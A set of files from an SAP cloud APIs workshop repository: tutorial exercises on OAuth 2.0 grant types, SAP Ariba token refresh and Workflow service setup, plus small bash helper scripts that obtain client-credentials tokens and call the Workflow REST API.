returned to the Client, which then contacts the Authorization Server to ask for the code to be exchanged for an access token, which can then be used to authenticate calls to the appropriate endpoints on the Resource Server. Note that at no time in this grant type does the Client see or use the Resource Owner's (username & password) credentials.\n\nIf you've ever been asked, on a web page, by e.g. Google or GitHub, to allow access by a third party app to some of your resources, then you've participated as a Resource Owner in this flow.\n\n**Client Credentials**\n\nOne can almost see this as the other side of the coin to the Authorization Code grant type, in that the attainment of an access token is still the key goal, but this time the flow is outside the context of any human involvement. In other words, this is where the Client (the script or program that is to make calls to the APIs) is acting on its own behalf, rather than on behalf of any Resource Owner (think of it as if the Client in this case is also the Resource Owner). In this flow, the Client provides its own credentials in the form of a \"client ID\" & \"client secret\" pair of values.\n\nThis is a very common grant type used for access to SAP Cloud Platform APIs, especially for automated and \"headless\" activities in the context of scripts and other autonomous programs.\n\n**Implicit**\n\nThis grant type was designed as a simple authorization code flow optimized for browser-based scripts (written typically in JavaScript), where the number of round trips between actors are minimized. Clients are granted access tokens directly, where no intermediate authorization codes are issued. This is not used in the context of SAP Cloud Platform APIs and is considered legacy and not recommended any more.\n\n**Resource Owner Password Credentials**\n\nAlso known simply as the \"Password\" grant type, this is a flow designed for use in the situation where there is strong trust between the Client and the Resource Owner - more specifically, when the Resource Owner trusts the Client (application) so much that they are willing to give their username & password credentials to the Client, which can then use them to request an access token. One redeeming feature of this grant type is that the Client does not have to store the credentials, as the access token granted can be long-lived, and / or the lifetime of the token can be extended by use of a refresh token.\n\nWhile this grant type is also considered legacy, it is used currently to protect the [Cloud Management APIs on SAP Cloud Platform](https://help.sap.com/viewer/65de2977205c403bbc107264b8eccf4b/Cloud/en-US/3670474a58c24ac2b082e76cbbd9dc19.html), so worth understanding, at least for the moment.\n\n\n### 4. See where these grant types are used for APIs on SAP Cloud Platform\n\nRemember in the previous exercise, at the end of each of the steps, you looked briefly at what was required to obtain authentication for calls to the APIs? In this step we'll revisit those points in the context of what we now know about OAuth 2.0.\n\n:point_right: Revisit the [Workflow API for Cloud Foundry](https://api.sap.com/api/SAP_CP_Workflow_CF/resource) page (make sure you're still logged in to the API Hub) and look again at the \"Configure Environments\" facility. You should see a form that looks something like this, in the context of saving a set of values to define a new API credentials environment:\n\n![Create New Environment form](create-new-environment.png)\n\n> The \"consumersubdomain\" and \"landscapehost\" properties aren't OAuth 2.0 specific, they are two properties that help towards making up the \"Token URL\" property value, which represents the OAuth 2.0 token endpoint on the Authorization Server.\n\nThe only possible \"Authentication Type\" is OAuth 2.0 and with the requirement of \"Client Id\" and \"Secret\" values, we can (correctly) deduce that this is the Client Credentials grant type. Directly below those two fields we also see the \"Token URL\" field which is an endpoint on the Authorization Server (see the roles earlier in this exercise).\n\n:point_right: Revisit the [Authorization](https://help.sap.com/viewer/65de2977205c403bbc107264b8eccf4b/latest/en-US/3670474a58c24ac2b082e76cbbd9dc19.html) link from the Core Service APIs page, which leads to the \"Manage Authentication and Authorization Process for Cloud Management APIs\" page in the SAP Help Portal. Here you'll see, currently, that the \"_core service APIs of SAP Cloud Platform are protected with the OAuth 2.0 Password Grant type_\". The process described further down on that page shows the use of this grant type, with the supply of the Resource Owner's username and password credentials.\n\n> The use of this legacy grant type will be replaced by the use of the Client Credentials grant type in the future.\n\n:point_right: Revisit the authentication requirements for the Enterprise Messaging \"management\" APIs, by going back to the [Use REST APIs to Manage Queues and Queue Subscriptions](https://help.sap.com/viewer/bf82e6b26456494cbdd197057c09979f/Cloud/en-US/00160292a8ed445daa0185589d9b43c5.html) resource in the SAP Help Portal. In the few moments that you spent staring at this, you may have come across this in the Procedure section:\n\n```\ngrant_type=client_credentials&response_type=token\n```\n\nThis indeed confirms that the Client Credentials grant type is used to protect the resources for the \"management\" APIs (and the \"messaging\" APIs too - see the equivalent section in [Use REST APIs to Send and Receive Messages](https://help.sap.com/viewer/bf82e6b26456494cbdd197057c09979f/Cloud/en-US/577ea7ce5cef4e2ea974c03d5549b3ff.html)).\n\n## Summary\n\nGreat, now you understand some key concepts in OAuth 2.0, including roles and grant types, and can relate these to how APIs in SAP Cloud Platform are protected. At this point you're ready to make your first SAP Cloud Platform API calls to endpoints protected with OAuth 2.0.\n" }, { "alpha_fraction": 0.7480678558349609, "alphanum_fraction": 0.7650330066680908, "avg_line_length": 60.3294792175293, "blob_id": "8ece6f069ad2f8498bc14a86c3f0ce43190be427", "content_id": "f7b9b03dfe0c974cd10d157866ac36ad7a117fc2", "detected_licenses": [ "LicenseRef-scancode-dco-1.1", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 10610, "license_type": "permissive", "max_line_length": 654, "num_lines": 173, "path": "/exercises/07/readme.md", "repo_name": "vishalkwatra/cloud-apis-virtual-event", "src_encoding": "UTF-8", "text": "# Exercise 07 - Authentication & refresh tokens with SAP Ariba APIs\n\nNow that we are familiar with the basic concepts of OAuth 2.0, we'll look at how to authenticate and use refresh tokens with the SAP Ariba APIs using Python. We will first retrieve an access token, look at the response of the authentication server and refresh an access token once the original token expires.\n\nThe SAP Ariba APIs allows creating integrations between applications/services/machines. The APIs are commonly used to extend the capabilities of SAP Ariba, e.g. extend approval process, interact with invoices, or it can just be to retrieve transactional/analytical data from the SAP Ariba realm (instance).\n\nTo allow programmatic access to an SAP Ariba realm, an application will need to be created in the [SAP Ariba developer portal](https://developer.ariba.com) and go through the application approval process. Once the approval process completes, the developer portal administrator will be able to generate OAuth credentials for the application. These OAuth credentails are required to complete this exercise.\n\n> For this exercise, the OAuth credentials of any SAP Ariba API will work, as we will focus purely on authentication and we will not retrieve data from SAP Ariba.\n\n## Steps\n\nAfter completing the steps in this exercise you'll know how to authenticate agains the SAP Ariba APIs and have an understanding of an OAuth 2.0 response, what the different fields returned mean and how to use the `refresh_token` and why it is needed.\n\n:point_right: To run the Python scripts included in this exercise, ensure that you checkout the [exercise-specific prerequisites](prerequisites.md).\n\n### 1. Get familiar with an OAuth 2.0 successful response\n\nAs mentioned in a previous [exercise](../02/readme.md), OAuth 2.0 is an industry standard, based on work within the context of the Internet Engineering Task Force (IETF) and codified in [RFC 6749 - The OAuth 2.0 Authorization Framework](https://tools.ietf.org/html/rfc6749). Before authenticating against the SAP Ariba APIs, lets remind ourselves what we should expect as a successful authentication response. For this, we can reference to [RFC 8693 - OAuth 2.0 Token Exchange](https://tools.ietf.org/html/rfc8693), which contains additional details and explanation on the different fields that we can expect in the response of an authentication request.\n\n:point_right: Visit the [RFC 8693 - 2.2.1 Successful Response section](https://tools.ietf.org/html/rfc8693#section-2.2.1) and get familiar with the fields we should expect in the response from the SAP Ariba authorization server.\n\n> Pay special attention to the explanations of the `access_token`, `refresh_token`, `token_type` and `expires_in` fields.\n\nBelow an example of a response from a successful OAuth 2.0 request:\n```json\n{\n \"access_token\": \"dc1aaf96-5987-4bcc-aeba-426e80f7e168\",\n \"refresh_token\": \"c6ef16aa-26d6-4296-9507-eded862d7e1b\",\n \"token_type\": \"bearer\",\n \"scope\": null,\n \"expires_in\": 1440\n}\n```\n\nLets quickly see what each of the fields above are:\n- `access_token`: This is the security token issued by the OAuth server. We will need to send this value in the `Authorization` header when retrieving data from the API. Example of `Authorization` header value -> `Bearer dc1aaf96-5987-4bcc-aeba-426e80f7e168`\n- `refresh_token`: Given that the SAP Ariba API access token expires, the OAuth server returns a `refresh_token`. This `refresh_token` will be used to get a new `access_token` when the original `access_token` retrieved expires.\n\n *From RFC 8693 -> A refresh token can be issued in cases where the client of the token exchange needs the ability to access a resource even when the original credential is no longer valid (e.g., user-not-present or offline scenarios where there is no longer any user entertaining an active session with the client).*\n- `token_type`: Indicate the type of the `access_token` issued. As shown in an example above, `Bearer` is specified in the `Authorization` header.\n\n *From RFC 8693 -> The client can simply present it (the access token) as is without any additional proof of eligibility beyond the contents of the token itself.*\n- `expires_in`: This field tells us how long before our `access_token` expires. If we are continuously calling the API, we will need to make sure that the `access_token` is refreshed before it expires.\n\n\n### 2. Set up the SAP Ariba API details in script\n\nEnough of explanations, lets jump to some code. Before sending an authentication request we will specify the application details previously shared by an SAP Ariba developer portal administrator in our environment configuration.\n\nThe Python script uses [python-dotenv](https://pypi.org/project/python-dotenv/) to set some environment variable required by the script.\n\n:point_right: Navigate to the scripts folder and create a file called `.env`. Copy and paste the sample config settings shown below and replace the values of `REALM`, `API_OAUTH_URL`, `API_KEY`, and `BASE64_AUTHSTRING` with the values provided by your administrator.\n\n> For a detailed explanation of the SAP Ariba developer portal, creating an application and its approval process, checkout the [SAP Ariba for Developers YouTube playlist :tv:](https://www.youtube.com/watch?v=oXW3SBCadoI&list=PL6RpkC85SLQDXSLHrSPtu8wztzDs8kYPX)\n\nThe contents of the new `.env` file should look similar to the one below:\n```text\n############\n# Config settings\n############\n\n# Value in seconds\nTOKEN_DELAY=5\n\n############\n# Ariba API\n############\n\nREALM=MyRealm-T\nAPI_OAUTH_URL=\"https://api.ariba.com/v2/oauth/token\"\nAPI_KEY=YXBwbGljYXRpb25faWRfYWthX2FwaV9rZXkK\nBASE64_AUTHSTRING=b2F1dGhfY2xpZW50X2lkOm9hdXRoX2NsaWVudF9zZWNyZXRfbm90X3RoYXRfc2VjcmV0Cg==\n```\n\nNow that you've set the API details, we can send an authentication request to the SAP Ariba API OAuth server.\n\n### 3. Explore the [`ariba_authentication.py`](scripts/ariba_authentication.py) script\n\n:point_right: Go to the scripts folder, open the [`ariba_authentication.py`](scripts/ariba_authentication.py) file and go through the code.\n\nThe [`ariba_authentication.py`](scripts/ariba_authentication.py) script, included in this exercise, was created to facilitate completing the exercise. It will use credentials set up in the step above to authenticate against the OAuth server. You can use it to get a new access token and refresh an existing token.\n\nThe script can be run in the following modes (by specifying the `--mode` parameter):\n- `access_token`: Gets a new access token from the OAuth server.\n- `refresh_token`: Uses the previously retrieved access token to get a new access token from the OAuth server.\n- `loop`: Runs continuously and it will refresh an access token before it expires.\n\n> For the sake of simplicity, the script will be storing the response from the OAuth server in a local file. This file is used by the script when running in refresh_token mode. Also, you can check the OAuth server response and get familiar with the structure.\n\n### 4. Authenticate against the SAP Ariba API (Get an `access_token`)\n\nThe code sample below shows what it is required, from a request perspective, to authenticate against the SAP Ariba API OAuth server. You will need to specify `client_credentials` as the `grant_type` and include the `BASE64_AUTHSTRING` value in the `Authorization` header.\n\n```python\n# Code from ariba_authentication.py script L37-43\npayload = 'grant_type=client_credentials'\nheaders = {\n 'Authorization': f\"Basic {BASE64_AUTHSTRING}\",\n 'Content-Type': 'application/x-www-form-urlencoded'\n}\n\nresponse = requests.request(\"POST\", API_OAUTH_URL, headers=headers, data=payload)\n```\n\n:point_right: As it will be the first time you authenticate against the SAP Ariba APIs, you will need to acquire an access token. To facilitate this, run the following from command line:\n```bash\n$ python ariba_authentication.py --mode=access_token --verbose\n```\n\nThe output of the command above will be similar to the following response:\n```json\nAuthentication response:\n{\n \"access_token\": \"c90bcfc4-0222-4501-93d4-1d77abb4aa13\",\n \"refresh_token\": \"2ef288b1-4007-4b57-bc68-69b0378c7880\",\n \"token_type\": \"bearer\",\n \"scope\": null,\n \"expires_in\": 1440\n}\nNext refresh: 2020-10-01 11:20:22.151218\n```\nYou can see that the OAuth server response includes the fields were highlighted in step 1. Now that we know how to retrieve an `access_token`, lets see how to refresh a token.\n\n### 5. Refresh the `access_token` using the `refresh_token` mechanism\n\nA different `grant_type` is required in the request (`refresh_token`), and we need to include the `refresh_token` value from the previous response in the payload. Besides that, the URL is exactly the same and we also need to include the `BASE64_AUTHSTRING` in the `Authorization` header.\n\n```python\n# Code from ariba_authentication.py script L69-75\npayload = f'grant_type=refresh_token&refresh_token={refresh_token}'\nheaders = {\n 'Authorization': f\"Basic {BASE64_AUTHSTRING}\",\n 'Content-Type': 'application/x-www-form-urlencoded'\n}\n\nresponse = requests.request(\"POST\", API_OAUTH_URL, headers=headers, data=payload)\n```\n\n:point_right: Now, that you know what is the difference between getting an access token and refreshing an access token when communicating with the SAP Ariba API OAuth server, go ahead and refresh the access token by running the following from command line:\n```bash\n$ python ariba_authentication.py --mode=refresh_token --verbose\n```\n\nThe output of the command above will be similar to the following response:\n```json\nRefresh token response:\n{\n \"timeUpdated\": 1601544024316,\n \"access_token\": \"1dc0ad40-43ea-401f-a0f7-c4734962cbec\",\n \"refresh_token\": \"9223adc6-ca6c-40dd-9018-fcb16875a081\",\n \"token_type\": \"bearer\",\n \"scope\": null,\n \"expires_in\": 1440\n}\nNext refresh: 2020-10-01 11:42:24.361207\n```\n\nYou can see that there is an additional field when refreshing a token - `timeUpdated`, which informs us when was the token updated.\n\n> In the case of the SAP Ariba APIs, it is possible to refresh an access token 2 minutes before it expires.\n\n## Summary\n\nYou've made it to the end of this exercise :clap: :clap:. We've covered what we should expect as a response from an OAuth server, how to authenticate against the SAP Ariba API, what the differences are between access tokens and refresh tokens ... and finally, how to actually refresh an access token.\n\n\n## Questions\n\n1. What is encoded in the BASE64_AUTHSTRING value?\n2. Can we authenticate against the API more than once (step 4)? What happens to the previous access_token received?\n3. What happens if we try to refresh a token that has not expired and that will not expire soon? *Hint: Send a refresh token request after acquiring a new access token.*\n4. What is the behaviour of the script if we run it with `--mode=loop` and no token exists? What if a token already exists?\n" }, { "alpha_fraction": 0.6434937715530396, "alphanum_fraction": 0.6479501128196716, "avg_line_length": 22.87234115600586, "blob_id": "131b896d9280a9e1193c69baa893bae219f1e96d", "content_id": "1033a60f80c666f69c86d443d6b1820582a4f728", "detected_licenses": [ "LicenseRef-scancode-dco-1.1", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 2244, "license_type": "permissive", "max_line_length": 106, "num_lines": 94, "path": "/workspaces/workflowapi/workflow", "repo_name": "vishalkwatra/cloud-apis-virtual-event", "src_encoding": "UTF-8", "text": "#!/usr/bin/env bash\n\n# Workflow API\n\n# Bring in common values\nsource shared\n\noutput=silent # verbose or silent\n\n# Retrieve an access token using the Client Credentials grant type\nget_access_token () {\n curl \\\n --\"$output\" \\\n --user \"$clientid:$clientsecret\" \\\n --data \"grant_type=client_credentials\" \\\n \"$authserver/oauth/token\" \\\n | jq -r .access_token\n}\n\n# Add authorities to service instance\nadd_authorities () {\n local jsonfile=$1\n if [[ -z \"$jsonfile\" ]]; then\n echo Usage: add_authorities jsonfile\n exit 1\n fi\n cf update-service $instance -c \"$jsonfile\"\n}\n\n# List workflow definitions\nlist_workflow_definitions () {\n curl \\\n --\"$output\" \\\n --header \"Authorization: Bearer $access_token\" \\\n \"$resourceserverapiroot/v1/workflow-definitions\" \\\n | jq .\n}\n\n# List workflow instances\nlist_workflow_instances () {\n curl \\\n --\"$output\" \\\n --header \"Authorization: Bearer $access_token\" \\\n \"$resourceserverapiroot/v1/workflow-instances?status=RUNNING,ERRONEOUS,SUSPENDED,CANCELED,COMPLETED\" \\\n | jq .\n}\n\n# Start a new instance of a workflow definition\nstart_workflow_instance () {\n local definition=$1\n if [[ -z \"$definition\" ]]; then\n echo Usage: start_workflow_instance definition\n exit 1\n fi\n curl \\\n --\"$output\" \\\n --header \"Authorization: Bearer $access_token\" \\\n --header \"Content-Type: application/json\" \\\n --data \"{\\\"definitionId\\\": \\\"$definition\\\", \\\"context\\\": {}}\" \\\n \"$resourceserverapiroot/v1/workflow-instances\" \\\n | jq .\n}\n\n\n\n########################################################################\n\ncommands=$(cat <<EO_COMMANDS\nadd_authorities\nget_access_token\nlist_workflow_definitions\nlist_workflow_instances\nstart_workflow_instance\nEO_COMMANDS\n)\n\n# Get OAuth 2.0 and API endpoint details from servicekey data\nclientid=$(jq -r .uaa.clientid < \"$keyfile\")\nclientsecret=$(jq -r .uaa.clientsecret < \"$keyfile\")\nauthserver=$(jq -r .uaa.url < \"$keyfile\")\nresourceserverapiroot=$(jq -r .endpoints.workflow_rest_url < \"$keyfile\")\n\n# Examine and fulfil command given (either list the commands or execute one)\ncommand=$1\ncase $command in\n \"\")\n echo \"$commands\"\n ;;\n *)\n shift\n access_token=$(get_access_token)\n $command \"$@\"\n ;;\nesac\n" }, { "alpha_fraction": 0.7402597665786743, "alphanum_fraction": 0.7435064911842346, "avg_line_length": 22.69230842590332, "blob_id": "249f7bd7c8bbb9a87c2297b3db80dda162854849", "content_id": "c3bd896567fa3e530ffbcb71bbbf300efb215164", "detected_licenses": [ "LicenseRef-scancode-dco-1.1", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 308, "license_type": "permissive", "max_line_length": 57, "num_lines": 13, "path": "/workspaces/workflowapi/shared", "repo_name": "vishalkwatra/cloud-apis-virtual-event", "src_encoding": "UTF-8", "text": "#!/usr/bin/env bash\n\n# SHARED - common values\n\n# Service name, service plan and name for a service key.\nservice=workflow\nplan=lite\nkey=sk1\n\n# The name of the instance to be created, and the name of\n# the file to store the service key contents locally.\ninstance=\"$service-$plan\"\nkeyfile=\"$instance-$key.json\"\n" }, { "alpha_fraction": 0.7086253762245178, "alphanum_fraction": 0.7606765627861023, "avg_line_length": 47.420814514160156, "blob_id": "be1a535dc189e9bdfa510b19cd1b9e9ee61fd43e", "content_id": "9ec5cced43abd761bad0533eecca345083082f1e", "detected_licenses": [ "LicenseRef-scancode-dco-1.1", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 10701, "license_type": "permissive", "max_line_length": 384, "num_lines": 221, "path": "/exercises/04/readme.md", "repo_name": "vishalkwatra/cloud-apis-virtual-event", "src_encoding": "UTF-8", "text": "# Exercise 04 - Creating a Workflow service instance and deploying a definition\n\nTo experience the Workflow API we're going to need something to work with, so in this exercise you'll create an instance of the Workflow service and deploy a very simple definition to it. This will be then the focus of the Workflow API explorations.\n\n\n## Steps\n\n[1. Create a Workflow service instance](#1-create-a-workflow-service-instance)<br>\n[2. Create a service key for the service instance](#2-create-a-service-key-for-the-service-instance)<br>\n[3. Deploy a simple workflow definition](#3-deploy-a-simple-workflow-definition)\n\nAt the end of these steps you'll have a running Workflow service instance, along with a service key, and you'll also have a simple workflow defintion deployed to it.\n\n\n### 1. Create a Workflow service instance\n\nThese steps assume you have a freshly created trial account on SAP Cloud Platform, and in particular, no existing Workflow service instance. If you do have such an instance already, you can either use that (and adapt the instructions here to suit) or remove it\\* and follow the full instructions here.\n\n\\*Only remove an existing instance if you have no more use for it!\n\nFor this and subsequent steps, some of the commands needed have been made available in small scripts in the `workflowapi/` directory (within the `workspaces/` directory) in this repo that you've cloned. It's worth moving to that `workflowapi/` directory now as the rest of the exercise activities will involve being in there too.\n\n:point_right: Move to the `workspaceapi/` directory. You can either do this at the shell prompt directly with the `cd` command:\n\n```shell\n> cd $HOME/projects/cloud-apis-virtual-event/workspaces/workflowapi/\n```\n\nOr you can use the App Studio's Explorer very convenient context menu as shown here:\n\n![Open in terminal](open-in-terminal.png)\n\nEither way, you should end up in the `workflowapi/` directory.\n\nNow it's time to create the instance of the Workflow service, using the 'lite' service plan. The name of the service, the service plan, and what to call the service instance, are stored in a `shared` script file, which you should first source into your shell. Then you can run the `cf` command as shown.\n\n:point_right: First, source the common values, and check by echoing one of the values to STDOUT:\n\n```shell\n> source shared\n> echo $plan\nlite\n>\n```\n\n:point_right: Now, directly following the previous commands, in the same shell process, create the service instance (typical output from this is shown here too):\n\n```\n> cf create-service $service $plan $instance\nCreating service instance workflow-lite in org a52544d1trial / space dev as [email protected]...\nOK\n\nCreate in progress. Use 'cf services' or 'cf service workflow-lite' to check operation status.\n```\n\nNote that this creation process may be performed asynchronously, and, as it might suggest, as it does here, you should check for the eventual creation as shown:\n\n```shell\n> cf service $instance\nShowing info of service workflow-lite in org a52544d1trial / space dev as [email protected]...\n\nname: workflow-lite\nservice: workflow\ntags:\nplan: lite\ndescription: Automate business processes using workflow technology.\ndocumentation: https://help.sap.com/viewer/p/WORKFLOW_SERVICE\ndashboard:\nservice broker: sm-workflow-broker-d2b48385-f83e-4601-9830-0db967aaa2f5\n\nShowing status of last operation from service workflow-lite...\n\nstatus: create in progress\nmessage:\nstarted: 2020-09-15T13:52:00Z\nupdated: 2020-09-15T13:52:00Z\n\nThere are no bound apps for this service.\n\nUpgrades are not supported by this broker.\n```\n\nOutput like this (\"status: create in progress\") indicates that the instance is being created. Be patient, and keep checking for the status to show \"create succeeded\".\n\n> You could have used the literal value \"workflow-lite\" in the `cf service` command above, but it's worth being consistent and ensuring we all use the same values for the names of things.\n\n\n### 2. Create a service key for the service instance\n\nNow the service instance exists, it's time to create a service key, which will contain credentials that we'll need in the OAuth 2.0 flow later. We need to request the creation of a service key, and then copy the contents, stripped of any cruft, into a local file. The script `setup-service-key` will do this for you.\n\n:point_right: Examine the `setup-service-key` script and once you're happy with what it does, run it like this:\n\n```shell\n> ./setup-service-key\n```\n\nThis is the sort of thing that you should see as output (some lines in the JSON output omitted for brevity):\n\n```\nCreating service key sk1 for service instance workflow-lite as [email protected]...\nOK\n```\n\n```json\n{\n \"content_endpoint\": \"https://api.workflow-sap.cfapps.eu10.hana.ondemand.com/workflow-deploy/rest/internal/v1\",\n \"endpoints\": {\n \"workflow_odata_url\": \"https://api.workflow-sap.cfapps.eu10.hana.ondemand.com/workflow-service/odata\",\n \"workflow_rest_url\": \"https://api.workflow-sap.cfapps.eu10.hana.ondemand.com/workflow-service/rest\"\n },\n \"html5-apps-repo\": {\n \"app_host_id\": \"1365363a-6e04-4f43-876a-67b81f32306e,1a5b93af-f1af-4acf-aee0-8c6cc8d3f315,8964e911-e35d-4cfd-972e-08e681a2df0f,9ea7410f-80ea-4b19-bbf0-4fca238ef098\"\n },\n \"portal_content_provider\": {\n \"instance_id\": \"b87e14b7-ea72-4866-80b7-fe284e75e83a\"\n },\n \"saasregistryappname\": \"workflow\",\n \"sap.cloud.service\": \"com.sap.bpm.workflow\",\n \"uaa\": {\n \"apiurl\": \"https://api.authentication.eu10.hana.ondemand.com\",\n \"clientid\": \"sb-clone-b09d9fcf-a418-44c8-9589-deadbeef4cb7!b55889|workflow!b10150\",\n \"clientsecret\": \"bc8b5076-0452-4604-91de-3b8e656211d4$_Z-K-z-wnzzesk5J6LYkyk08PBVkaad3DJtMLqjYuCo=\",\n \"uaadomain\": \"authentication.eu10.hana.ondemand.com\",\n \"url\": \"https://a52544d1trial.authentication.eu10.hana.ondemand.com\",\n \"xsappname\": \"clone-b09d9fcf-a418-44c8-9589-ebabea654cb7!b55889|workflow!b10150\",\n \"zoneid\": \"fd03402e-58c7-4fb8-9443-5d0fa2a533f4\"\n }\n}\n```\n\nHere you can clearly see, thanks to the nice formatting from `jq`, the contents of the service key, including values for `clientid`, `clientsecret` and `url` within the `uaa` section, and for `workflow_rest_url` within the `endpoints` section.\n\n> You can of course see the contents of this file nicely formatted in the App Studio editor by simply opening the file that was created (`workflow-lite-sk1.json`).\n\n\n### 3. Deploy a simple workflow definition\n\nOK. There's only one more step here and then you'll be ready to start exploring the Workflow API. There's a simple workflow definition that we can deploy to the Workflow service instance, so that we can use that subsequently with calls to the API endpoints.\n\nThe definition is in a module inside an MTA project, in the `workflowproject/` directory. You can explore the contents of this project using the standard tools in App Studio if you wish. Note that if you open the workflow definition file itself in the App Studio editor, you'll perhaps be slightly underwhelmed, as it really is the simplest workflow definition that one could imagine:\n\n![simple workflow definition](simple-definition.png)\n\nBut it will do for what we need.\n\nWe need to build the deployable artifact with the standard MTA build tool `mbt` (which is already available in the context of the App Studio shell sessions) and then deploy it with `cf`.\n\n:point_right: Move to the `workflowproject/` directory; if you're already in the `workflowapi/` directory then a simple `cd workflowproject/` will do. Otherwise, you can use an absolute path:\n\n```shell\n> cd $HOME/projects/cloud-apis-virtual-event/workspaces/workflowapi/workflowproject/\n```\n\n:point_right: Build the deployable artifact:\n\n```shell\n> mbt build\n```\n\nThis should result in some output that looks like this:\n\n```\n[2020-09-16 09:01:19] INFO Cloud MTA Build Tool version 1.0.15\n[2020-09-16 09:01:19] INFO generating the \"Makefile_20200916090119.mta\" file...\n[2020-09-16 09:01:19] INFO done\n[2020-09-16 09:01:19] INFO executing the \"make -f Makefile_20200916090119.mta p=cf mtar= strict=true mode=\" command...\n[2020-09-16 09:01:19] INFO validating the MTA project\n[2020-09-16 09:01:19] INFO validating the MTA project\n[2020-09-16 09:01:19] INFO building the \"workflowmodule\" module...\n[2020-09-16 09:01:19] INFO the build results of the \"workflowmodule\" module will be packaged and saved in the \"/home/user/projects/cloud-apis-virtual-event/workspaces/workflowapi/workflowproject/.workflowproject_mta_build_tmp/workflowmodule\" folder\n[2020-09-16 09:01:19] INFO finished building the \"workflowmodule\" module\n[2020-09-16 09:01:19] INFO generating the metadata...\n[2020-09-16 09:01:19] INFO generating the \"/home/user/projects/cloud-apis-virtual-event/workspaces/workflowapi/workflowproject/.workflowproject_mta_build_tmp/META-INF/mtad.yaml\" file...\n[2020-09-16 09:01:19] INFO generating the MTA archive...\n[2020-09-16 09:01:19] INFO the MTA archive generated at: /home/user/projects/cloud-apis-virtual-event/workspaces/workflowapi/workflowproject/mta_archives/workflowproject_0.0.1.mtar\n[2020-09-16 09:01:19] INFO cleaning temporary files...\n```\n\n:point_right: Finally for this step, deploy the freshly built deployable artifact:\n\n```shell\n> cf deploy mta_archives/workflowproject_0.0.1.mtar\n```\n\nThis should result in some output that will look similar to this:\n\n```\nDeploying multi-target app archive mta_archives/workflowproject_0.0.1.mtar in org a52544d1trial / space dev as [email protected]...\n\nUploading 1 files...\n /home/user/projects/cloud-apis-virtual-event/workspaces/workflowapi/workflowproject/mta_archives/workflowproject_0.0.1.mtar\nOK\nOperation ID: 35c66db2-f7fb-11ea-874c-eeee0a80cc52\nDeploying in org \"a52544d1trial\" and space \"dev\"\nDetected MTA schema version: \"3\"\nNo deployed MTA detected - this is initial deployment\nDetected new MTA version: \"0.0.1\"\nCreating service key \"workflowmodule-workflow_mta-credentials\" for service \"workflow-lite\"...\nUploading content module \"workflowmodule\" in target service \"workflow_mta\"...\nDeploying content module \"workflowmodule\" in target service \"workflow_mta\"...\nSkipping deletion of services, because the command line option \"--delete-services\" is not specified.\nProcess finished.\nUse \"cf dmol -i 35c66db2-f7fb-11ea-874c-eeee0a80cc52\" to download the logs of the process.\n```\n\n:point_right: Before continuing any further, move back up to the `workflowapi/` directory, and check that you're in the right place:\n\n```shell\n> cd .. && pwd\n```\n\nThe output from `pwd` should show you that you're in the `workflowapi/` directory:\n\n```\n/home/user/projects/cloud-apis-virtual-event/workspaces/workflowapi\n```\n\n## Summary\n\nAt this point you've got your own Workflow environment and workspace within which to explore the Workflow API. Good work!\n" }, { "alpha_fraction": 0.7562976479530334, "alphanum_fraction": 0.7873815298080444, "avg_line_length": 77.65454864501953, "blob_id": "c9921c946466454780b99d369aeec6fc4f81b18c", "content_id": "e6f28753722307c16868776500272e6a640489ec", "detected_licenses": [ "LicenseRef-scancode-dco-1.1", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 8654, "license_type": "permissive", "max_line_length": 623, "num_lines": 110, "path": "/exercises/01/readme.md", "repo_name": "vishalkwatra/cloud-apis-virtual-event", "src_encoding": "UTF-8", "text": "# Exercise 01 - Get an overview of API resources\n\nIn this exercise you'll get an overview of some of the Application Programming Interfaces (APIs) available on SAP Cloud Platform, and of the OAuth 2.0 based authentication approach used to protect them.\n\n\n## Steps\n\n[1. Get an introduction to the SAP API Business Hub](#1-get-an-introduction-to-the-sap-api-business-hub)<br>\n[2. Explore other sources of API information - SAP Cloud Platform Service APIs](#2-explore-other-sources-of-api-information---sap-cloud-platform-service-apis)<br>\n[3. Explore other sources of API information - Enterprise Messaging APIs](#3-explore-other-sources-of-api-information---enterprise-messaging-apis)\n\nAfter completing the steps in this exercise you'll be famililar with places where SAP Cloud Platform APIs are documented, and understand the basics of OAuth 2.0 authentication.\n\n### 1. Get an introduction to the SAP API Business Hub\n\nThere are many services available on SAP Cloud Platform, and most of these have APIs that can be used to access those services' facilities programmatically. The canonical \"home\" of API information for SAP services generally is the [SAP API Business Hub](https://api.sap.com/), or API Hub for short.\n\n:point_right: Go to the [API Hub](https://api.sap.com) and log in using your SAP Cloud Platform trial account (a trial account is a [prerequisite](../../prerequisites.md) for this virtual event).\n\nAt this point you can have a look around and get a feel for what the API Hub has to offer. Note that the API Hub has different content types, such as Business Processes, APIs, Events, Integration and more.\n\n:point_right: To dig in a little deeper, let's pick a service - Workflow. Search for APIs for Workflow by entering the term in the search box. You should see results that look something like this:\n\n![Workflow search results](workflow-search-results.png)\n\nThere are a number of important things to note in this list of results:\n\n- you can refine the search results by type (see the list in the left hand column)\n- there are APIs (denoted by the three circles symbol) and API packages (denoted by the symbol containing the globe)\n- within the context of the APIs, there are REST APIs and OData APIs\n- there are currently Workflow APIs for different environments - in this example we see APIs for Neo & for Cloud Foundry\n\n:point_right: Select the \"[SAP Cloud Platform Workflow](https://api.sap.com/package/SAPCPWorkflowAPIs?section=Artifacts)\" API Package and you're taken to the list of APIs. At the time of writing, there are four presented, as can be seen in the screenshot. Note again the details across each of them - versions, API types, and environments:\n\n![Workflow API artifacts](workflow-api-artifacts.png)\n\n:point_right: Now, dig one level deeper by selecting a specific API. Choose the Workflow API for Cloud Foundry (the REST API) and have a brief look at the details shown.\n\n![Workflow API for Cloud Foundry](workflow-api-for-cloud-foundry.png)\n\nNote that there are many API endpoints, and they are grouped together logically. You can see these groups in the left hand column; for the [Workflow API for Cloud Foundry](https://api.sap.com/api/SAP_CP_Workflow_CF/resource) that you've selected, there are the following groups of endpoints:\n\n- User Task Instances\n- Task Definitions\n- Workflow Definitions\n- Workflow Instances\n- Forms\n- Data Export\n- Purge\n- Jobs\n- Messages\n\n:point_right: Before finishing with this step, take a quick look at the \"Configure Environments\" facility, which enables a logged on user to save configuration settings to be able to make API calls directly from within the API Hub. Make a mental note of the sort of details that are required with respect to 